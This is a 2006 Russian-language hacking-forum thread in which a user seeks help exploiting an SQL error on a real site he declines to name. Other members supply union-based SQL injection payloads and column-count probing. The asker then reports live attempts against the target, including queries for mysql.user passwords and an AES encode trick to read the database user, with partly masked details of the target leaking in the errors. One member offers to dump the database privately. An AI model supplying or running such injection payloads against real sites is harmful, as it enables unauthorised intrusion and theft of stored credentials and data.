ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Error sql
  #1  
Старый 21.10.2006, 17:10
Аватар для Koller
Koller
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме:
3465924

Репутация: 931
По умолчанию Error sql

Ситуация такая...

Цитата:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Не раз сталкивался с подобными ошибками...
Расплывчато представляю то, как использовать подобную ошибку...
Не могли бы Вы рассказать...что да как...
И если можно с примером...
 
Ответить с цитированием

  #2  
Старый 21.10.2006, 18:27
Аватар для ~Real F@ck!~
~Real F@ck!~
Постоянный
Регистрация: 09.07.2006
Сообщений: 443
Провел на форуме:
2382453

Репутация: 354
Отправить сообщение для ~Real F@ck!~ с помощью ICQ
По умолчанию

Скуль конкретный! Дай ссылку баги... я что нить попробую.!.!.!.!
 
Ответить с цитированием

  #3  
Старый 21.10.2006, 18:54
Аватар для Azazel
Azazel
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900

Репутация: 561


По умолчанию

Попробуй без кавычки, потом попробуй например id=(или чё там) несуществующее 777777777777
__________________
Full DNS report
 
Ответить с цитированием

  #4  
Старый 21.10.2006, 21:32
Аватар для Koller
Koller
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме:
3465924

Репутация: 931
По умолчанию

Цитата:
Сообщение от ~Real F@ck!~  
Скуль конкретный! Дай ссылку баги... я что нить попробую.!.!.!.!
Ссори, ссылку дать никак не могу...
Проект очень и очень серьезный, не хотелось бы, чтоб его напрочь снесли...В общем светить ссылку ну никак не могу...

to Azazel

Что-то вроде 77777777 вводил...выводил, что мол запись просто не найдена...
Данная ошибка, которую я описал в первом посте как я понял реагирует только тогда, когда id='
Ничего другого, именно '...
Вводил все что можно...
Какие еще будут предложения?

Последний раз редактировалось Koller; 21.10.2006 в 21:51..
 
Ответить с цитированием

  #5  
Старый 21.10.2006, 22:00
Аватар для Goudini
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме:
1652093

Репутация: 490
Отправить сообщение для Goudini с помощью ICQ
По умолчанию

id=9999999+union+select+null,null,null/*
id=9999999+union+select+1,2,3/*
Подбираешь цифры пока не ищезнет сообщение
The used SELECT statements have a different number of columns
Потом можно будет доставать данные с базы

И вобще прежде чем задавать такие вопросы юзай поиск по сайту! Про sql-injection написано достаточно...
 
Ответить с цитированием

  #6  
Старый 21.10.2006, 23:04
Аватар для Koller
Koller
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме:
3465924

Репутация: 931
По умолчанию

Я всегда прежде чем задавать какие-то там либо вопросы обращаюсь к поиску...
Да, по поводу sql-injection написано даже придостачно...согласен...
Далеко не все понимал, когда читал например статью отсюда - _http://forum.antichat.ru/thread19844.html
Посему решил на реальном примере разобраться...прошу зла на меня держать, ежели посчитаете эту тему вовсе нубской
Подобрал цифры...сообщение исчезло...
Каким образом можно достать данные с базы? Мне ведь как я понимаю нужно знать названия столбцов...как делать, не знаю...
Прошу помочь...

Цитата:
id='+union+select+1,2,3,4,5,6,7/*
 
Ответить с цитированием

  #7  
Старый 21.10.2006, 23:51
Аватар для Koller
Koller
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме:
3465924

Репутация: 931
По умолчанию

Постепенно начинаю понимать:

при запросе id='+union+select+1,2,3,4,5,6,7+from+users/* выдает - Table 'cj**.users' doesn't exist
при запросе id='+union+select+1,2,3,4,5,6,7,mysql.user.passwor d,null+from+mysql.user/* - Access denied for user 'pank***'@'217.23.133.***' to database 'mysql'
про запросе id='+union+select+null,null,null,null,VERSION(),nu ll,null/* выдает - Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
Что мне это все дает?
И как правильно составить все-таки запрос?

Последний раз редактировалось Koller; 22.10.2006 в 00:37..
 
Ответить с цитированием

  #8  
Старый 23.10.2006, 11:49
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
id='+union+select+null,null,null,null,AES_DECRYPT( AES_ENCRYPT(USER(),0x71),0x71),null,null/
Кодирова не та просто.
 
Ответить с цитированием

  #9  
Старый 23.10.2006, 12:50
Аватар для Koller
Koller
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме:
3465924

Репутация: 931
По умолчанию

Ввел так, ничего нового не узнал - 01.01.1970 pank***@217.23.133.***
Каким образом можно попытаться достать нужную мне информацию из БД?
 
Ответить с цитированием

  #10  
Старый 23.10.2006, 12:54
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Стукни в асю могу снять базу.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ